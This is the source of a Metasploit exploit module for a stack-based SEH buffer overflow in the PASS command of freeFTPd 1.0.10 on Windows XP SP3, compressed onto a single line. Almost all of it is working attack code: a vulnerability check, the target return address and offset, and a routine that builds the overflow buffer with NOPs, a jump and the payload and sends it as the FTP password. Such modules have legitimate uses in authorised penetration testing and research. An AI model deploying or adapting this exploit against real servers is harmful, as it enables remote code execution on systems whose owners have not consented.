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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'freeFTPd 1.0.10 PASS Command SEH Overflow', 'Description'=> %q{ This module exploits a SEH stack-based buffer overflow in freeFTPd Server PASS command version 1.0.10. credit goes to Wireghoul. }, 'Author' => [ 'Wireghoul - www.justanotherhacker.com', # original poc 'Muhamad Fadzil Ramli <fadzil [at] motivsolution.asia>', # metasploit module ], 'License'=> MSF_LICENSE, 'References' => [ [ 'OSVDB', '96517' ], [ 'EDB', '27747' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'seh' }, 'Privileged' => false, 'Payload'=> { 'Space'=> 600, 'BadChars' => "\x00\x20\x0a\x0d", #'DisableNops' => true }, 'Platform' => 'win', 'Targets'=> [ [ 'Windows XP English SP3', { 'Ret' => 0x00414226 , 'Offset' => 952 } ], ], 'DisclosureDate' => 'Aug 21 2013', 'DefaultTarget' => 0)) end def check connect disconnect if (banner =~ /freeFTPd 1.0/) return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def exploit connect payload_size = payload.encoded.length buf = make_nops(1000) buf[(target['Offset']-11) - payload_size, payload_size] = payload.encoded buf[target['Offset']-5,5] = "\xe9\x98\xfe\xff\xff" buf[target['Offset'],4] = [0xfffff9eb].pack("V") buf[target['Offset']+4,4] = [target.ret].pack("V") print_status("Sending exploit buffer...") #buffer = Rex::Text.pattern_create(1000) send_user(datastore['FTPUSER']) send_pass(buf) handler disconnect end end |
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